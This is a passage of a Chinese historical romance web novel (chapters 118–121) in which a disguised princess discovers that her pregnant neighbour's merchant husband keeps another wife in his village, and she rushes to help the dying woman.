118. 枇杷
快到晚间的时候，滕夫人牵着滕荇，身后跟着一个眼生的男人到了院中。
滕夫人先一步介绍道：“意清，这位便是我的夫君，滕子鹤，家中世代经商，到他这一代，已经是第六代。”
说完，滕夫人转头小声靠近滕子鹤说了几句什么。或许家中已经提醒过，滕子鹤很快地就反应过来，朝李意清拱手：“幸会。”
李意清抬眸打量着滕子鹤生得高挑，长久在商队风雨兼程，肤色较深，看着精干。
她朝滕子鹤点头，“幸会。”
滕子鹤在院子中打量一圈，而后问：“听舒窈说，你夫君在府衙当官？这是还没有回来吗？”
舒窈，正是滕夫人的闺名。
李意清：“还需要一会儿。府衙事忙。”
滕子鹤“哦”了一声，伸手端起桌上的茶杯，腿不自觉就翘了起来。
滕夫人小声提醒道：“子鹤，现在不是在家，你多少注意一些。”
滕子鹤将腿放下，开口随意了解释一句：“我在外面习惯了。”
李意清本能地感觉到有一些不舒服。自进门起，他就用一种肆意打量的目光在院子里看来看去，无礼且倨傲。
可是腾夫人显然很高兴自己的夫君愿意陪自己来这一趟，嘴角温柔的笑都没有下去过。
滕夫人一片好心，她自然不会让她难做。
另一边，滕子鹤皱着眉头扫过前院的两垄菜畦，“院子装扮还算风雅。只是这菜地看着碍眼得很，舒窈，幸亏你当时听了我的，没有在门前折腾这么一通。”
滕夫人喃喃辩解：“意清妹妹也只是闲来无事种些，我还打算孩子生下来以后，也在门前种上一些。子鹤，你有没有见过刘阿婆门前的菜苗？”
“谁一天天关注这些。你可千万别学乡野村夫，在门口捣鼓这些上不得台面的东西。”滕子鹤语气不屑，压低了声音道，“舒窈，要不是你说隔壁院子有官，这一趟我都懒得来。好了好了，你们女人家关注的东西我也插不上嘴，我就先离开了。”
说着，他站起身，朝李意清拱拱手，准备离开。
滕夫人坐在椅子上看着滕子鹤离开的背影，急忙喊他：“子鹤，子鹤，你等等我。”
一边说着，一边扶着东西站起身。
李意清看得心惊胆战。
她刚欲伸手搭上一把，就看见一个眼生的小厮急匆匆闯了进来，直挺挺朝着滕子鹤走近。
“五爷，老爷身体不好了！”
滕子鹤的脸色抖然一变。
他回过头，看着有些艰难靠近自己的妻子。
滕夫人终于追上了他，“子鹤。”
滕子鹤虽然脸色还是很差，但是看着气喘吁吁靠近自己的滕夫人，还是伸手扶了她一把，“都说你要小心小心，怎么还这样随意。”
滕夫人视线落在滕子鹤身边的小厮身上，“你刚刚说，老爷出事了？”
“是……今日午后左右发生的事情，老爷在房顶上铺草，脚下一滑，从屋顶上摔了下了。郎中都说不行了。”
滕子鹤听得眼眶发红：“舒窈，爹生我养我，我不能不去看。你留在家中安心待产，短则三日、长则七日，我必然回来。”
滕夫人垂下了眼眸。“你去罢，我晓得。”
滕子鹤带着人匆匆忙忙回了。
只剩下一脸浑然不觉的滕荇看着爹爹来去匆匆的爹爹，小声问：“娘，爹爹又要去祖父家吗？祖父受伤了吗？我们也去吧。爹爹刚刚看着好紧张。”
滕夫人“嗯”了一声，目光落在门口。
不知怎地，她心底无缘无故生起一抹不安。
滕子鹤的父亲在滕家排行第六，在望江村，算得上数一数二的大家。
她只随滕子鹤去过望江村两次，婆婆瞧不上滕荇是个女儿，语气爱答不理，后来滕夫人便不爱去了。
李意清走到她的身边。滕夫人有些仓皇地抹掉自己眼角的泪水。
“没事吧？”
“没事，就是风迷了眼睛，有些不安。”
滕夫人来回踱步，看着李意清，“不对，不对，家公性命垂危，我不能不去看。对，望江村离府城不远，现在追上还来得及。”
李意清：“姐姐，你肚子里的孩子已经九个月。”此刻出行，实在不很妥当。
“无碍的，我心中有数。”滕夫人抿唇，“子鹤和他父亲关系很好，每次外出归来，都至少在老家住上半个多月，我不能在这个时候离开他。”
她的视线落在滕荇的身上，低头询问着她的意见：“荇儿，要和娘一起去找爹爹吗？”
滕荇点了点头，抱着滕夫人的小腿，“要，娘亲。”
滕夫人下定决心，转身对李意清展颜一笑：“无妨，这一路上平稳，我会多加注意。”
母女两人匆匆忙忙离开了。
李意清还是有些放心不下，对洛石道：“最近舒州不太平，你在后面跟着护送一段路。”
洛石应了一声，出了门。
等人都散开，毓心才小声和李意清道，“殿下，这些菜我先收到后厨，等驸马回来再热热？”
今天为了招待滕子鹤和滕夫人，她特意买了一些卤味和凉拌菜。原先还有点气愤那人的不识好歹，后来听到变故，又什么话都说不出了。
李意清：“不用，天气热得很，不热也没事。今日你辛苦了，先休息一会儿。”
一边说着，她一边将旁边一小碟剥好的枇杷递给她。
毓心有些受宠若惊。她捻起一个金黄色的枇杷果肉放入口中，迸发的甜味让她忍不住眯起了眼睛。
“殿下，好甜。”
李意清跟着浅浅地笑。
她一开始是不喜欢自己动手剥这种小而有绒毛的果实，可是实在无聊，动手之后，忍不住一个个剥了下来。
反正都已经要洗手了，不如一次性多剥一点。
毓心看李意清动作认真细致，主动捻起一个放在李意清的唇边，“殿下，我喂你。”
李意清含笑咬住。
等一整个咽下肚，李意清才道：“你怎么知道我想吃了。”
“我就是知道啊。”不过殿下却不喜欢指尖沾染的绒毛，所以只能眼巴巴望着。
毓心偷笑一声，看李意清沉浸剥果无法自拔，转身去端乌梅汤放入井水中放凉。
李意清剥了两串之后，才走到后院
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将手洗干净，然后左手边乌梅汤，右手边已经剥好的枇杷，静静看着天际晚霞一点点被星光覆盖。
偏近十五，月盘格外明亮，清晰到可以看见上面的纹路。
元辞章踏月而归。
李意清看了一眼碟中仅剩下的一颗枇杷，招呼他走到身边。
她捻起一颗放在元辞章的唇边，眼神期待，“可甜了。”
元辞章眸中碎光点点，深邃而温柔，听到李意清的话，很给面子的含住。
指尖不经意擦过柔软的唇，李意清触电般收回了手。
“走……走吧，”李意清转身先走，“去吃饭。”
元辞章：“嗯。”
今晚菜色丰富，荤素俱全，还有凉菜和汤。
李意清亲手舀了一碗汤放在元辞章的面前。
元辞章伸手接过，语气有些不确定，“这是为了送我明日出门？”
李意清：“……”
她咬着筷子尖，一时间没法回答这个问题。
元辞章在意的并不是这个问题的答案，见到李意清想要解释又顾忌什么的神色，一时间没忍住，伸手触碰到了她的脸庞。
她的肤色冷白，出汗不多，碰上去温热而光洁。
元辞章愣了一瞬才反应过来自己在做什么。
他握拳轻咳一声，收回手。
快到李意清还没有反应过来发生了什么。
她抬头朝对面的元辞章看过去，只见欲盖弥彰地端起了碗筷，安静吃饭。
李意清忍不住笑了出来，后一步进来的许三不懂发生了什么，有些纳闷。
“殿下，你笑什么呢？”
李意清轻咳一声：“没什么。”
一顿饭吃完，李意清不自觉笑了三四次。
她自己没有注意到，却没被房中其他几个人忽略。
元辞章神色温柔，茴香笑得比她还开心，许三一脸纳闷……
毓心见到的就是这一幕。
她将桌上的碗筷收起来，抬头朝外面看了一眼。
月色下，树梢叶影憧憧，一阵风起，沙沙作响。
也不知道洛石什么时候才能赶回来。
……
洗漱之后，李意清坐在寝屋中的书案前。
她准备的腰带已经被拿走了，根雕骏马被抹上一层护理的檀油，看起来精神熠熠。
她一只手倚在桌上，浅浅打着哈欠。
元辞章进来，看到的就是这样的一个场景。
他缓步走到李意清的身边，伸手抱住她，“怎么不去床上睡？”
李意清将头埋在他的怀里，“明日你要走，我想帮你一道收拾。”
元辞章下巴轻轻抵在李意清的头顶，声音温柔：“五天，很快。”
李意清沉默了片刻，只将环住他精瘦腰身的手收紧了几分。半响后，才闷闷地开口：“可是，元辞章，我已经不习惯身边没有你了。”
元辞章轻轻在她的额头上落下一个吻。
轻柔得仿佛一枚羽毛触到了她的眉心。
李意清深深吸了一口元辞章身上浅淡幽然的青竹气息，而后抬起头，“所以，有什么我能帮得上忙的？”
119. 猪油煎豆腐
元辞章嘴角勾起一抹笑，胸膛震动，像是在笑。
他伸手抚摸着李意清柔顺黑长的发丝，声音低沉而认真：“那就拜托殿下，好生照顾我家夫人。”
李意清：“就这样吗？”
“嗯。”元辞章笑了笑，“有劳了。”
“好。”
两人相拥片刻，元辞章才起身收拾所需要的衣裳。
他的衣裳不多，大多是浅色的袍子，这样看着素雅的装束若是只看衣裳，难免会觉得有些寡淡。好在元辞章身形颀长，宽肩窄腰，是个天生的衣服架子，加上那一张清隽俊美的面容，立刻就显得整个人如天上云。
仙人之姿，不过如是。
上次帮元辞章订做衣裳，还是在去江宁府之前，墨绿色的衣袍看着风格与元辞章素日的风格大相径庭，可是穿在身上，别有一番清冷文臣的意味。
果然是人好看穿什么都好看。
李意清默默在心底感叹了一句，打定主意再帮元辞章准备几件便服。
另一边，已经收拾好的元辞章重新走回李意清的身边。
李意清仰面看着他，眼底满是她自己都不曾注意到、星星点点的眷恋，缠绵而温柔。
元辞章伸手李意清抱在自己的怀中，不过两息之后，又重新松开。
两人几乎是在同一时间笑出声。
“好热。”
李意清眨了眨眼睛，鼻尖沁出一滴汗珠，纤长的睫毛微微颤抖。
元辞章花费了很大的功夫才忍住心底隐晦的欲念。半响，像是想起了什么：“……对了，这几日记得少出门。府城不太平。”
今日接到报案，府城走失了两名十岁幼童，他即将离城，这边的事情只能暂且交给刘同知。
李意清看着元辞章郑重的双眸，点了点头。
“我知道轻重。”
元辞章看着她低垂着眼眸的样子，零散的几根青丝散在她光洁无暇的脸庞上，唇色粉润，明艳到像一朵极致盛开的花。
心中的温柔如井喷。他克制着低将李意清散落的头发别到耳后，“睡吧。洛石今日如果没回来，明早我帮你将乌梅汤送到药铺。”
李意清躺在床上，闻言嘴角上扬，“嗯。”
*
第二天一早，不需要任何人的催促，李意清自动醒了。
元辞章正在换衣，腰上佩戴的正是李意清亲手绣的腰带。
她的女工实在算不上有多好，从去年六月份开始断断续续学习针法，拆坏了两个，才勉强得了这么一个能入眼的。
李意清心底笑了一声，却很快用手捂住了自己的眼眸。
君子言，非礼勿视。
李意清蒙在眼睛的那一刻才觉得有些奇怪，自己有哪里不能看？
她正准备将手从眼睛上移开，忽然，手腕上传来一阵温热的触感。
——是元辞章握住了她的手。
元辞章伸手将李意清的手拿开，对上她刚睡醒的、带着迷茫的双眸。
“夫人是在害羞吗？其实只要是你的话，可以随意看。”
李意清：“才没有。”
她挣开元辞章的手，用薄被捂住自己的脸。
裸露在外面的耳朵却清晰地听到元辞章的一声轻笑，低沉而沙哑。
等脚步声响起，李意清确认他已经出去，才伸手揉了揉自己的发麻的耳尖。
她不再多想，匆匆换好衣裳，走出房门。
今日的早饭是腊肉豆角煮的粥，配上猪油煎豆腐，刚一出门，就能闻到浓烈的菜香。
毓心采了一把新鲜的小葱，切碎后撒在猪油煎豆腐中，看见李意清出来，提高声音道：“殿下，院子里有烧开的水，你可别用井水洗脸，井水凉得很。”
李意清：“知道啦。”
她一边说着，一边走到后院。瞧着没人经过，悄悄从水缸中舀出一捧水。
凉水浸润脸庞，李意清被冷得一个哆嗦，而后就是一阵清爽。
夏日炎炎，这样的冷水泼到脸上才过瘾。
毓心看管得严，从来不准李意清用凉水和冰，怕她着凉。往日晚起的时候，都会端在太阳底下晒过的水。
趁着毓心不在，李意清痛痛快快洗了一个冷水脸，然后从布帛将自己沾到发丝上的水一点点擦干。
洗漱完毕，李意清走到院前，和元辞章并肩坐下。
腊肉咸香，混在熬煮软烂的粥里，配上青色的豆角，看上去就已经令人食指大动。
李意清喝得很快，毓心在旁看得心惊胆战，“殿下，慢些，还有，不着急。”
“嗯嗯。”李意清笑眯眯地看着毓心，伸手扯了扯毓心的衣角，“好毓心，明天吃牛肉煎豆腐吧？”
毓心脸上闪过一丝为难之色。
舒州不比京城，有牛肉供应。在京城之外的州府，牛是被用来当作耕田物资使用，轻易不能宰杀。
想买到新嫩的牛肉，不是一件容易的事。
李意清：“很为难吗？”
“没有。”毓心摇了摇头，到舒州这么久了，李意清第一次主动提出想要吃的东西，即便是山珍海味，毓心都要想个办法。
她朝李意清露出一抹笑，保证道：“好啊，过两天咱们就吃。”
李意清眼中满是餍足之色。
谁见了不感叹一句於光公主真好哄。
两人吃完，元辞章顺道让许三将准备好的乌梅汤送去药铺。
今日去得早，到了药铺，才卯时四刻。
清晨算不上热，元辞章的目光落在李意清的身上，欲言又止。
李意清伸手推了推他，“好啦，我知道了。五日后见。”
元辞章“嗯”了一声，转身和许三一道离开。
他离开后，李意清忽然像是失去动力一样，慢慢地蹲在树荫底下。
东方的第一抹鱼肚白浮现，而后是灿烂的朝霞，阳光温柔地沐浴在绿叶和墙瓦上，融化满城的潮气。
毓心有意让李意清的精神更好些，主动找话：“殿下，我先去叩门试试？这个点儿，说不定……掌柜还醒着。”
她卡壳了一下。
李意清后知后觉反应过来，她们还不知道药铺掌柜的名字。
相应地，药铺掌柜也不知道她们的名字。
双方互不认识，却已经达成了协议，这样一想，双方还真是心大。
李意清忍不住笑了笑，而后轻声道：“不用了，既然约定在辰时，就按照约定行事。要是打断了掌柜原先的事情，给别人惹了麻烦，可就不
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好了。”
毓心一点也不意外李意清的回答。她总是这样，为别人考虑得更多一步。
卯时七刻的时候，药铺开张。
药铺掌柜和伙计合伙将厚重的木板门一片片移开。
率先注意到李意清和毓心的伙计，他朝着掌柜努嘴，“掌柜的，你看那边。”
掌柜顺着他示意的方向看过去，看见一只手撑着脸浅寐的李意清。
她的动作很随意，一只手托着脸庞，另一只手垫在肘关节处，提供一个支撑力。眼睛闭着，白皙如凝脂的脸庞在晨光的照拂下像书中的神女，透着一层透明浅黄色光泽。
恰到好处的起了一阵风，扬起她额间的几根发丝。
那一刹那，连皮肤上的细小绒毛都可以看见。
掌柜只看了一眼，立刻收回视线。
舒州地处江南，美人如云锦绣多彩，可是即便如此，乍然看见这样的绝美，也会让人乱了方寸。
掌柜清了清嗓，确认自己没有任何失礼之处，才走到两人身边，“姑娘来的好早。”
李意清睁开眼睛，看见掌柜站在自己的面前，想要先站起来。
可是蹲了太久，腿脚有些麻了。毓心伸手扶了她一把，才不至于摔倒在地。
她朝掌柜笑了笑，“掌柜早。不知道昨日的乌梅汤卖得怎么样？”
掌柜：“我正要和姑娘说！昨日乌梅汤卖得极好，不少人问我还有没有，还说要预定今日的……不知道今日可有准备好？”
“自然。”李意清点头。
掌柜立刻走到坛子前，用竹舀盛出一碗，眯起眼睛尝了尝，笑意愈盛。
他有心想问李意清愿不愿意将方子卖出来，可是两人才合作一天，现在问，显得太急功近利了。
掌柜花费了很大的力气才说明自己要考虑长久，不能只贪图眼前这一点小利。
——况且眼前姑娘看上去，绝不是默默无闻的普通人。
那一刹那，他思绪翻飞，可是在面向李意清的时候，又迅速调整过来，笑意盈盈：“姑娘这乌梅汤和昨日一样好。”
李意清毫不意外，她朝着掌柜点头，接过昨日结余的铜板。
二十文钱，连一斤猪肉都买不起。
李意清在心中小声感慨了一句，而后朝着掌柜笑，“今日也麻烦掌柜了，明日如无意外，也能按时送上……对了，我叫意清，还不知道掌柜叫什么？”
药铺掌柜立刻拱手道：“我姓杜，名于泉，若是姑娘不嫌弃，喊我杜掌柜和杜大哥都可以。”
李意清颔首：“杜掌柜。”
杜于泉嗯了一声。她果然会选择更有距离感的称呼。
李意清看了一眼天色，准备离开之际，忽然想起了什么，转身道：“杜掌柜，再借纸笔一用。”
杜于泉心脏砰砰直跳。
意清姑娘这是又有什么新主意了吗？
他遏制住自己的好奇心，朝李意清点了点头，“稍等。”
取来纸笔后，他很有分寸地往后退了几步。
李意清单手悬腕，轻轻垂眸，将新的方子写下来。
杜于泉接过后，大致扫了一眼，保证道：“意清姑娘放心，这些药材店里都有。姑娘是想现在要，还是明日再来？”
120. 交错一眼
李意清沉吟片刻，才道：“明日吧。杜掌柜，今日我还有事，明日同一时间见。”
洛石昨日跟出去后到现在还没有回来，肯定是望江村出了事。
杜于泉：“可有我能帮得上忙的？”
“不用，”李意清摇头，“明日见。”
说完，她转身离开。毓心看了一眼杜于泉，跟在后面离开。
李意清回到清风居后，只看见正在晾晒衣服的茴香。
她的心往下沉了几分。
“洛石至今没有回来吗？”
茴香点头：“是啊殿下……你说洛石会不会在路上出事了？”
李意清在门前踱步，片刻后，吩咐道：“去准备马车。”
洛石的能力在舒州城内自保不难，他久久不归，只能是同行的滕夫人出了事。
李意清攥紧了掌心。
茴香抬眼瞧了一眼毓心的神色，见她也抿着嘴角，不敢耽误，立刻就动身了。
清风居地方小，家中没有养马，需要用马车，还要去赁行。
她不敢耽误，匆匆离开。
李意清站在树下，设想最坏的结果。
路上遇到了劫匪，还是滕老爷的身体不适只是一个幌子，其实另有他顾。
毓心见李意清蹙紧的眉宇，轻声安抚道：“殿下，说不定，情况并没有那么糟。”
李意清：“你看，连你都说的那么迟疑。”
毓心有些气虚。
茴香去了半响，最后成功赁到马车，扶着李意清走上去。
她提醒道：“殿下，车行里没什么好马了，这马车有点颠簸，你小心一点。”
李意清颔首示意自己知道了。
茴香还是有些不放心，“殿下，您若是没在天黑之前回来，我就去报官了。”
家中只剩下她们三人，她要留下来看家。可是谁也不知道这一趟如何。
李意清明白她的顾虑。
她想了想，认真道：“那便酉时四刻为约定，若是那个时候我还没有回来，你就去府衙。”
虽然元辞章不在府衙，但是刘文钊是知道她的身份的，如果她在舒州地界出事，刘文钊下场不会好。
茴香郑重地点了点头。
李意清和毓心坐在前去望江村的马车上，赶马车的是个二十几岁的年轻小伙子，头顶布襟，穿着灰黑色的褂子，看着很老实可靠。
毓心观察了许久，比对元辞章留下的舆图，确认方向没有错，才放下心来。
李意清注意到了毓心的心事。
“毓心。”李意清微微抬高了声音，“你都快把舆图揉皱了。”
毓心像是被烫到一样松开了舆图，看见上面留下的痕迹后，神色有些歉疚。
“抱歉，殿下。”
李意清摇了摇头，目光落在她身上，“没事。你怎么了？自从上了马车之后，神色就很不对劲。”
毓心犹疑了片刻，才对李意清道：“殿下，我想起来了一件事。”
李意清：“什么事？”
毓心一面回忆，一面慢慢叙述，“前些日子我在街上遇到了滕子鹤身边的小厮，他正在布庄里挑选布料，颜色清丽年轻，是鹅黄和杏色居多。我当时并不确认他的身份，只是刚刚突然想起来，和昨日来我们院里报信的小厮长得一模一样。”
李意清放轻了呼吸。
如果只是买布料给滕夫人，哪里值得她现在支支吾吾地提出来。
毓心在李意清的注视下闭了闭眼，缓缓吐出后半段话：“那些布料被包好，上了马车，往梨花弄堂相反的方向去了。现在我坐在马车中才反应过来，那匹马车……是朝着望江村的方向去了。”
李意清：“……”
毓心将积压在心中的话说完之后，觉得呼吸顺畅了许多，看李意清垂眸不语，小心翼翼地推测道：“殿下，会不会，会不会是滕子鹤在外蓄养了外室？”
滕子鹤言谈中的狂妄自大是真，可是对滕夫人的关心也是真的。
和滕夫人讲话的时候，脸上的神色再不耐烦，也会听完。
还有滕夫人每一次站起身，他都会小心伸手护在身后，生怕滕夫人出什么意外。
李意清：“我不知道。”
毓心：“如果真的是这样，那可真是最糟糕的情况了，滕夫人已经到了临盆之际，要是被外室气到了，那后果可真是不可想象。”
李意清抿唇，神情多了几分严肃。
她伸手拿起放在一旁的舆图，舒州与望江村之间，最大的县城是白崖县。
“车夫。”李意清掀开帘子，对埋头赶车的车夫道，“在白崖县逗留片刻。”
几乎是李意清靠近的一瞬间，车夫的脸瞬间通红。他不敢看李意清的脸，只能讷讷点头。
“大概还有多久，能到白崖县？”
“一炷香。”车夫这次回得很快，他驱车送人拉菜往返两地多年，路线烂熟于心。
李意清：“多谢。”
她退回车中，对毓心道：“稍后买一些止血、温补的东西带过去……做好最坏的打算，总是没有错的。”
毓心点头。
到了白崖县，李意清忽然想起来元辞章巡边的第一站也是此地。
她在车夫的呼声中下车，却无心观赏一路烟火人家，问了两个路人最近的药铺后，直匆匆赶了过去。
除了几包药材，李意清还花费数十两银子买了一支人参。
但愿这些派不上用场。
李意清一手交钱，一手拎起药材往外走。
忽然，她注意到了屋檐下的一抹身影。
他穿着绯红官袍，宽袖随风微动，墨色的长发束在官帽之后，一丝不苟，风神俊朗。
清雅隽逸，像是从水墨画中走出的人物。
元辞章本来是和同行的几位官员说话，似乎是注意到了李意清匆匆投来的一瞥，微微侧身朝这边看了过来。
两人的视线在空中短暂地交汇一瞬间。
李意清收回视线，顺着来时的路回到了马车上。
另一边，在准备婴儿出生时所需软布的毓心也匆匆回来，看见李意清快她一步，动作更迅速了几分。
“殿下。”
李意清朝她微微颔首，而后对着车夫道：“启程吧。”
按照滕夫人的描述，滕家在望江村算得上小有名气，只要到了望江村，就可以从村民的口中问出滕家所在。
李意清定神，脑海
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中忽然浮现元辞章望来的那一眼。
从一开始的惊讶转为轻柔笑意，几乎只用了一瞬间。
她不再多想。
毓心正在整理刚刚买回来的东西，看见李意清发呆了一瞬，又迅速帮忙一道归纳，嘴村翕动。
想要问什么，却又不知道该问什么。
又过了一炷香，空气中弥漫着田野的味道。
是稻谷成熟的气味，以及风中干燥、温暖的气息。
车夫在前面大声问道：“姑娘，前面就是望江村了，不知道是要停在哪一户前？”
李意清道：“姓滕，再多，我就不知道了。”
“滕？这在望江村还是常见的。”车夫想了想，追问道，“姑娘还有别的提示吗？”
李意清沉默了片刻，才道：“滕子鹤。”
“滕子鹤？！”车夫的声音忽然提高了一大截，“你来找他啊？”
李意清有些奇怪车夫的反应。
她稳了稳自己的情绪，尽可能平静问道：“怎么了？”
车夫摇了摇头，“滕家滕子鹤，算是望江村顶有出息的人物了，就是说话不中听，早早和父母关系闹僵了。望江村的里正就是滕家二叔。”
李意清似无意识地问：“滕子鹤和家中父母关系很僵？”
“是啊，都闹到里正那里去了，不少人亲眼看见滕子鹤和他老子吹胡子瞪眼，也不知道为了些什么事，照我说还是他讲话不中听……旁人面前还晓得收敛几分，可是在家中吆来喝去，可真把自己当成了一个大爷。”
车夫语速很快，像是没怎么思考就说了出来。
“但是啊，这毕竟是滕家的家丑。”车夫顿了顿，说完后半段话，“里正那边半个字也没有透露。”
这番话听来褒贬兼具，不过总结起来并不算难。
有点本事，但不多，和家中的关系不好。
不好这个词也要打个问号。毕竟那一天小厮前来报信的时候，滕子鹤脸上的担忧不像是假的。
李意清在宫廷的时候曾经听说过西北大夏的秘事。相传当今的大夏君主曾经是大夏先帝不受宠的六皇子，后来六皇子声名鹊起，受先帝宠爱的二皇子殿下为了正名，和大夏国先帝一道精心策划了一场围场捕猎。
那场捕猎表面上兄友弟恭，父子和睦，六皇子忘记了先帝带给自己的羞辱，他也说服自己要淡忘那些曾经的不愉快。
生在帝王家，身不由己是一种默认的常态。
可是六皇子当天，就被射穿了一只眼睛。
夜晚的篝火中，六皇子的笑容僵硬在脸上，一支羽箭堪堪擦着他的太阳穴擦过，额头破了一个大口，血汩汩地往下流。
六皇子在篝火中忽然笑了，他亲手杀了下令放箭的二皇子，然后走到年迈的大夏先帝面前。
在朝臣胆战心惊的目光中，顺理成章地接过了大夏的皇位。
所有有关现任大夏君主和先帝的记载中，都表示两位皇帝的关系很差，虽然先帝在围场狩猎后依旧被接回王庭居住，但是见面次数屈指可数。
直到先帝临终，大夏君主也只是在指挥着南下的军队，直到最后一道军令下达，他才回到了先帝驾崩的太华殿，独自坐在台阶一整夜。
121. 滕家
传到大庆的时候，现任大夏君主已经拟定了先帝的谥号——宣。
宣者，圣善周闻，他国赞誉，实为高评。
夏宣帝入帝陵后，原先对现任君主颇为不满的臣子忽然改变了自己的态度。死后的哀荣足以平息他们这些老臣多年的愧疚。
当时他们正在宫中书院读书，太子李序泽和二皇子李行渊难得在此事上达成一致意见——不过为了皇位更稳固罢了。
李意清并不关心大夏朝堂的更迭，对两人如出一辙的轻蔑反应平静。
人性本就是复杂的，他们与大夏是多年的宿敌，两国皇城隔着千里之遥，传过来的寥寥数语，她只听过一次，就没在放在心上。
……
坐在前排的车夫看见李意清忽然陷入沉默，懂事地没有开口。
马车驶入了村庄，穿过一片低矮的土石房屋后，停在了一个三岔路口。
车夫道：“姑娘，走左边的小路进去，门口有一片打谷场的，就是了。”
李意清被他突然抬高的声音吓了一跳，然后才反应过来。
她的视线落在这座显得有些古朴、原始的小村庄前，半响，低声说：“好。”
李意清和毓心下来之后，车夫犹豫再三，试着对李意清道：“姑娘，虽然我不知道你要去做什么，但是……如果不介意，请让我陪着一起去吧。”
他的声音放得很轻，说完，紧接着补充道：“不需要也没有关系，姑娘事情处理好了，到此处找我就可以了。”
李意清看着他急忙解释的模样，轻轻笑了笑：“可以吗？”
车夫：“什么？”
毓心在一旁自动充当了解释人：“我们姑娘问你，能不能陪着一道去？”
“当然可以当然可以。”车夫点了点头，考虑到身后是两个姑娘，主动上前带路。
三人顺着小路往里走，穿过一棵老树后，迎面是一片干燥的打谷场。
几间砖瓦房围在打谷场的周围，不同于村前头的人来人往，滕家院子里安静得很，连出门的人都没有。
车夫挠了挠头，“不应该啊，往日里就数滕家院子前面最热闹。”
李意清抿了下唇。
毓心则是显得有些不安。
车夫一边小声嘀咕，一边踮起脚尖往里面看。
毓心的手攥紧了手中的软被，咽了一口口水道：“里面有人吗？”
糊在窗户上的纸沾了锅灰，黑漆漆一片，模模糊糊什么都看不清。
车夫干脆伸手在门上敲了敲。
“有人吗？滕六爷？滕大娘子？”
车夫如此喊了三四声，门才吱呀一声，被人从里面推开。
入目是一个红着眼眶的年轻女子，身上穿的很简单，一件杏色的长裙，外面套着一件碎花袄子。
毓心这一瞬间紧紧握住了李意清的衣袖，心中大声喊——
殿下，就是这件布料。
车夫看见来人，显然松了一口气，“滕娘子，怎么今日没见到你家中的人？”
滕娘子眼睛红肿的可怕。
她抬眼扫过车夫，而后落在后面站着李意清和毓心身上。
原先还算稳定的神色忽然变得癫狂，她伸手朝这边扑了过来，声音是大哭后的沙哑，“你们也是找来的狐狸精？”
这都什么有的没的。
车夫皱着眉，伸手拦在滕娘子的前面，“怎么了？有话好好说！”
李意清看着滕娘子扬起的巴掌，面上一片平静冷淡，可是心已经坠到了谷底。
毓心的猜测，很有可能是真的。
甚至，她的猜测都不是最糟糕的情况。
究竟谁才是正头夫人，谁又才是豢养的宠妾。
车夫的神色分明显示了，他对这位滕娘子，很熟悉。
滕娘子本就耗尽了力气的身体根本冲不开车夫的阻拦，看着距离自己一丈之遥的李意清，忽然放声大哭。
这时，安静得如死了一般的院子忽然走出一个拄着拐杖的老人家，他沉沉地看着滕娘子的哭闹，怒斥一句。
“哭哭啼啼像什么样子。”
滕娘子手狠狠地掐在车夫的胳膊上，语气绝望道：“我要回娘家，我要回去。”
老人：“回什么回，子鹤不过是一时新鲜，哪个男人不会犯错？再说你嫁过来十年了，一个养成的娃儿都没有，光是这一条，子鹤就能休了你。”
滕娘子：“那就休了我啊！这么多年，我侍奉在您二老身边，日日卯时不到就起床烧饭，大冬天水冷彻骨，我要去河边浣衣，九年前的冬天，我就是在江边没了我的第一个孩子——那时候他已经五个月了。”
老人脸色仍旧难看，可是听到这句话，却反常地沉默了一会儿。
那年她怀着孕还下河浣衣，冬天的冷水冰凉彻骨，孩子没有保住，甚至伤了身子。
所以滕子鹤在府城豢养妾室，是他私下里默许的。
他帮着滕子鹤瞒住滕娘子，又帮助滕子鹤演了两次戏，瞒住了滕夫人。
老人辩解不过，上前两步，伸手拽住了滕娘子的胳膊。
“你既然和子鹤拜了堂，那你生是子鹤的妻子，死也是子鹤的鬼。”
滕娘子被他一步步拖回了黑黢黢的门里。
那张门像是一个窄小的深渊，一眼望不清。
按理说，老人家腿还伤着，滕娘子是有足够的力气挣脱老人的钳制，可是她只默默流泪。
老人将滕娘子一脚踹进门之后，眯着眼睛打量着李意清和毓心，“怎么，你们也是子鹤的桃花债？”
李意清神色依旧冷漠。
车夫率先呸了一声，那滕子鹤什么货色，也敢肖想这样的人。
老人见三人不理睬自己，觉得面子挂不住，立刻语气严厉了几分，“今日乃我滕家之事，你们若是没什么事，可以滚了。”
一边说着，他一边目测和靠在墙上的大竹扫帚有多远。
李意清忽然抬高了声音：“洛石，洛石你在吗？”
老人脸色陡然一变，似乎想冲上前捂住李意清的嘴。
这可是家丑，怎么能这么喧哗。
李意清的声音落下一息，屋子里冲出来一道身影。
正是洛石。
他伸出手，要抱住些什么，可是又自觉不妥，收回双手，站定在了李意清的身前。
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洛石声音嘶哑：“殿……姑娘。”
他的衣摆上沾满了血迹。
李意清从未见过如此失魂落魄的洛石。
她伸手搭在了洛石的肩膀上，声音轻柔，“怎么了？有人打你？”
洛石：“不，不是。他们打不过我。姑娘，你救救‘滕夫人’吧，她快要死了。”
李意清心神一凛。
洛石指着房门道：“就在里面。”
李意清往后看了毓心一眼，两人冲了进去。
正在拿大竹扫帚的老人蹒跚地想要阻拦，却被洛石拦在了门口。
车夫被这一幕惊呆了，他愣了两秒，才走到了洛石的身边，帮着一起拦着。
老人看着眼前的两个大小伙子，抱着手中的扫帚开始哭：“老天爷啊，这什么世道啊！不让人进家门啊！”
他声音委屈，却不敢大声喊出来。
毕竟，这是家丑。
家丑不可外扬。
*
另一边，冲进房中的李意清和毓心进门之后，闻到一股浓烈的血腥味。
躺在墙边奄奄一息的‘滕夫人’，刚被丢进来的滕娘子，脸肿了一块的滕子鹤，已经抱着滕子鹤哭天撼地的滕大娘子。
滕大娘子沉浸在滕子鹤被洛石一拳打肿的脸上，口中怨气十足的骂骂咧咧：“那贱人敢伤你，我们明日就去报官。不行，老爷子说不能将事情闹大，儿啊，我苦命的儿啊。你又何至于为了那个贱人伤心。你瞧见那人的架势没有，是不是你的种还不一定呢。”
李意清袖中的拳头握了握，没忍住，一巴掌打在了滕大娘子的脸上。
滕大娘子一脸的不可置信。
李意清看了一眼半陷入昏迷的“滕夫人”，闭了闭眼，声音颤抖地对毓心道：“毓心，你去看看，看看……”
毓心咬着唇点头，可是靠近滕夫人之后，眼眶还是忍不住红了。
情况比她想象中要糟的多。
“滕夫人”有毓心的照看，李意清能腾出手来，好好看看滕大娘子的嘴脸。
滕大娘子从那一巴掌的蒙圈中刚清醒过来，还没有来得及说话，就看见李意清快速伸手，在滕子鹤的脸上猛地扇了两巴掌。
“啪——啪——”
这两巴掌用了十成十的力。
